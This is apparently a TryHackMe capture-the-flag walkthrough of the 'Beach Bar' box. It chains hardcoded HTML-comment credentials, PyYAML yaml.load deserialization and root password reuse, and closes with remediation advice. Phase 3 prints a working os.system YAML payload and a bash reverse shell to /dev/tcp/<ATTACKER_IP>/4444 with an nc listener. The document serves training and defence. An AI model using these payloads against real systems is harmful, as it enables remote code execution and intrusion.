CTF Write-up Boot2Root Web Security PrivEsc

Beach Bar — TryHackMe Boot2Root Walkthrough

Abishek Kumar 2026 12 min read Easy

Introduction

Beach Bar is an easy boot2root box built around a Flask/Gunicorn web app for a beachside jukebox. The path to root involves three chained weaknesses:

  • Hardcoded staff credentials left in the login page's HTML source
  • Insecure YAML deserialization (yaml.load) in a playlist import/export feature
  • A plaintext password leaked via a ps aux-visible command line, reused for the root account

💡 Target Machine

10.48.164.8 — Only web (80) and SSH (22) exposed, so port 80 was the entry point.


Phase 1: Reconnaissance 🔍

Started with a full port scan to map the attack surface:

nmap -sC -sV -p- 10.48.164.8

Scan Results

Port Service Notes
22 SSH (OpenSSH 9.6p1, Ubuntu)
80 HTTP (Gunicorn) "Beach Bar // Sign in" — redirects to /login

Phase 2: Initial Access — Hardcoded Credentials 🔑

Viewing the page source of the login form (/login) revealed a developer comment:

<!-- staff note: the demo DJ login is still enabled for the soft opening.
     dj / dj -- swap this before the season starts (ticket BAR-7) -->

Logging in with dj / dj granted access to a "DJ booth" playlist management panel with:

  • /export — downloads the current playlist as YAML
  • /import — uploads a YAML file to load a new playlist

🔍 Critical Finding #1

Hardcoded demo credentials exposed in HTML comments. Any visitor inspecting the page source can obtain valid authentication credentials without any attack.


Phase 3: Exploiting YAML Deserialization (RCE) 💉

Understanding the Vulnerability

The exported file (playlist.yml) had a simple structure:

playlist:
  name: Sunset Session
  vibe: golden hour
  tracks:
    - artist: Khruangbin
      title: Maria Tambien

Because the backend used PyYAML's unsafe yaml.load() (rather than safe_load()), Python object tags could be embedded in any field to achieve command execution.

🚨 Why This Works

PyYAML's yaml.load() processes YAML type tags like !!python/object/apply: which can instantiate arbitrary Python objects — including calling os.system().

Proof of Concept

playlist:
  name: !!python/object/apply:os.system ["id > /tmp/pwned.txt"]
  vibe: golden hour
  tracks:
    - artist: Khruangbin
      title: Maria Tambien

Uploading this via /import returned:

Loaded playlist
{'playlist': {'name': 0, 'vibe': 'golden hour', ...}}

name: 0 is the exit code of os.system() — confirming successful command execution as the web app user.

Getting a Reverse Shell

Listener on attacker machine:

nc -lvnp 4444

Payload:

playlist:
  name: !!python/object/apply:os.system
    args: ["bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"]
  vibe: golden hour
  tracks:
    - artist: Khruangbin
      title: Maria Tambien

Uploading this via /import triggered a reverse shell as bartender.

Stabilize the shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Phase 4: User Flag 🚩

cat /home/bartender/user.txt

🎉 USER FLAG

THM{y4ml_pl4yl1st_pwns_th3_b34ch}


Phase 5: Privilege Escalation — Credential Reuse via Process List ⬆️

Local Enumeration

Several enumeration steps were checked:

  • find / -perm -u=s -type f → only stock SUID binaries, nothing exploitable
  • idbartender, no extra groups
  • ss -tulpn → only ports 22 and 80 listening; no hidden internal service
  • getcap -r / → nothing notable
  • ps aux | grep -i pythonrevealed the key finding
root  610  ...  /opt/beach-bar/venv/bin/python /opt/beach-bar/jukeboxd/jukeboxd.py \
    --stream-pass SunsetSpritz2024! --bitrate 320k

🚨 Critical Finding #2

A root-owned process (jukeboxd.py) was started with its password passed as a command-line argument, which is visible to any local user via ps aux (or /proc/<pid>/cmdline) since Linux does not restrict read access to process argument vectors by default.

Credential Reuse

The leaked password SunsetSpritz2024! was tried against local accounts:

su - root
Password: SunsetSpritz2024!

This succeeded — the same password had been reused for the root account.


Phase 6: Root Flag 🏆

id
# uid=0(root) gid=0(root) groups=0(root)

cat /root/root.txt

🎉 ROOT FLAG CAPTURED!

THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r}

Full system compromise achieved — from guest login to root in three chained exploits.


Attack Chain Summary

1. Recon → only web (80) and SSH (22) exposed
         ↓
2. Info Disclosure → hardcoded demo credentials (dj/dj) in HTML comment
         ↓
3. Insecure Deserialization → yaml.load() on user-supplied playlist import → RCE as bartender
         ↓
4. Local Enumeration → root process leaking a plaintext password via ps aux
         ↓
5. Credential Reuse → same password worked for root via su
         ↓
     ROOT FLAG RETRIEVED

Key Takeaways / Remediation

❌ Vulnerable Patterns

# Unsafe YAML loading
yaml.load(user_input)

# Hardcoded credentials in HTML
<!-- dj / dj -->

# Secrets in CLI arguments
--stream-pass SunsetSpritz2024!

# Password reuse
root password = service password

✅ Secure Alternatives

# Always use safe_load()
yaml.safe_load(user_input)

# Use config/env for credentials
os.environ['DJ_PASSWORD']

# Use env vars or secret files
export STREAM_PASS=...

# Unique passwords per account
password manager / vault

💭 Final Thoughts

This box demonstrates how a chain of seemingly minor misconfigurations — a forgotten HTML comment, a careless function call, and a lazy password reuse — can cascade into full system compromise. Always audit every layer independently.

AK
Abishek Kumar

Abishek Kumar

Cybersecurity Researcher | Web Developer